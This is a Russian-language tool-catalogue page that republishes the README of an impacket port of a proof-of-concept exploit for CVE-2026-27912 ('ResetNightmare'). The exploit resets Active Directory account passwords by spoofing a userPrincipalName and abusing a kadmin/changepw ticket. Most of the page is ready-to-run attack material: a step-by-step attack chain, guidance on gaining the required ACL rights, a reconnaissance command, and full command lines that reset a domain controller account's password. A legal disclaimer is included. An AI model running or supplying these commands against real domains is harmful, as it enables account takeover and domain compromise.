Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ResetNightmare-impacket — CVE-2026-27912 (ResetNightmare) — Linux/impacket-порт PoC Invoke-ResetNightmare от Semperis Community | Kitploit
Инструменты/GitHubGitHub/mihat2/resetnightmare-impacket
Атаки на ПаролиАнализ уязвимостейЭксплуатацияСбор информацииТестирование на ПроникновениеАутентификацияRed Teaming
GitHubmihat2/resetnightmare-impacket

ResetNightmare-impacket

CVE-2026-27912 (ResetNightmare) — Linux/impacket-порт PoC Invoke-ResetNightmare от Semperis Community

Репозиторий
15272 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ResetNightmare — CVE-2026-27912

Инструмент для Linux / impacket для CVE-2026-27912 ("ResetNightmare"). Сбрасывает пароль целевой учётной записи Active Directory путём запроса TGT kadmin/changepw для принципала NT_ENTERPRISE, имя которого совпадает с sAMAccountName цели, используя учётную запись (UPNUser), в которую мы можем записать поддельный userPrincipalName.

Python-порт PowerShell-инструмента Semperis Community Invoke-ResetNightmare (см. Благодарности).

⚠️ Правовая оговорка

Только для авторизованного тестирования безопасности и образовательных целей. Этот инструмент изменяет реальные учётные данные Active Directory и может заблокировать учётные записи.

  • Запускайте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение (подписанный договор или лаборатория под вашим контролем).
  • Неавторизованный доступ к компьютерным системам незаконен (например, US CFAA, UK Computer Misuse Act и их аналоги) и может повлечь уголовную и гражданскую ответственность.
  • Авторы не несут никакой ответственности за неправомерное использование. Программное обеспечение предоставляется «КАК ЕСТЬ» — см. LICENSE. Если у вас нет разрешения, не запускайте это.

Как это работает

  1. (необязательно) Создать UPNUser, самостоятельно выдать GenericAll, задать его пароль, включить его.
  2. Определить sAMAccountName цели.
  3. Задать UPNUser.userPrincipalName = <targetSAN> (поддельный UPN).
  4. AS-REQ как NT_ENTERPRISE '<targetSAN>' для kadmin/changepw — KDC сопоставляет enterprise UPN с целью и выдаёт для неё TGT для смены пароля.
  5. Очистить поддельный UPN.
  6. Смена пароля через kpasswd с этим TGT → задаёт пароль цели.
  7. Восстановить исходный UPN UPNUser.

Выбор --upn-user

--upn-user — это учётная запись, в которую вы записываете поддельный UPN (пользователь или компьютер с --computer). Единственное требование — вы можете записать её userPrincipalName. Есть три способа получить это — те же, на которые опирается оригинал на PowerShell:

#Как вы получаете право записи UPNФлагНужен ли OU?
AСоздать учётную запись в OU, где у вас есть Create Child → вы её владелец → инструмент сам выдаёт GenericAll → записывает UPN--create-new-pathДа
BСуществующая учётная запись, на которую у вас уже есть GenericWrite / GenericAll / WriteProperty(userPrincipalName)(нет)Нет
CСуществующая учётная запись, которой вы владеете или на которую у вас есть WriteDacl (без прямой записи свойства)--grant-selfНет

Таким образом, вам не обязательно контролировать OU — путь B работает на основе делегированных прав на любой отдельной учётной записи. Но вам нужен один из A/B/C. Запустите --find, чтобы увидеть, какой из них у вас есть.

Одного доменного компьютера недостаточно. Машина, на которой вы локальный администратор / для которой у вас есть хеш, но без прав записи в AD, не даёт вам ни A, ни B, ни C. И компьютер, созданный через MachineAccountQuota (addcomputer.py в CN=Computers), тоже не подходит: его создатель не является владельцем и не получает права записи UPN, поэтому и прямая запись, и --grant-self завершаются с result 50. Используйте путь A с делегированным OU.

Установка

python3 -m venv venv
./venv/bin/pip install -r requirements.txt

Использование

Учётные данные оператора передаются первым позиционным аргументом: [domain/]username[:password]. Пароль можно опустить — тогда система запросит его.

Разведка — что может использовать эта учётная запись? Выводит отчёт об учётных записях, для которых вы можете записать UPN, подразделениях (OU), в которых вы можете создавать объекты, и MachineAccountQuota, с предлагаемыми командами:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --find

Каждая находка выводит свои причины via: и owner: объекта. Владелец позволяет сразу различить два пути создания компьютера — компьютер, созданный через делегированный контейнер, показывает owner: <you> (у вас есть неявный WRITE_DAC, поэтому --grant-self работает), тогда как MAQ / CN=Computers показывает owner: BUILTIN\Administrators (у вас его нет, поэтому использовать нельзя):

=== Accounts you can write a UPN on  (use as --upn-user) ===
  [+] svc_web                        CN=svc_web,OU=Services,DC=corp,DC=local
        via:   WriteProperty(userPrincipalName)
        owner: Domain Admins

Сброс цели с использованием учётной записи, для которой можно записать UPN:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --upn-user svc_web --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Сначала создайте учётную запись UPN (требуется право Create Child на OU и LDAPS):

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
  --upn-user pwned_user --upn-user-password 'N3wUpnPass1!' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Создайте учётную запись компьютера как учётную запись UPN (--create-new-path + --computer):

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' --computer \
  --upn-user 'pwned_pc$' --upn-user-password 'N3wUpnPass1!' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Существующая учётная запись, в которой вы можете переписать DACL, но не можете записать UPN (--grant-self). Когда --find сообщает о --upn-user, достижимом через Owner или WriteDacl (вы можете изменить его ACL, но не имеете прямого права записи свойства), --grant-self сначала добавляет для вас ACE GenericAll, после чего атака продолжается. Только для существующих учётных записей — --create-new-path уже выдаёт права самому себе.

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --grant-self \
  --upn-user svc_legacy --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Если сам --grant-self завершается с result 50, вы не являетесь владельцем и не имеете WriteDacl на этой учётной записи — это не поможет. Это обычный исход для компьютера, который вы создали через addcomputer.py/MAQ: создатели обычно не получают ни владения, ни права записи UPN, поэтому компьютеры MAQ не подходят для использования в качестве --upn-user. Запустите --find и выберите учётную запись, которую он отметит как WriteProperty(userPrincipalName), GenericWrite, GenericAll, Owner или WriteDacl.

Добавьте -debug для подробного логирования AS-REQ / LDAP / kpasswd.

Флаги

Скачать инструмент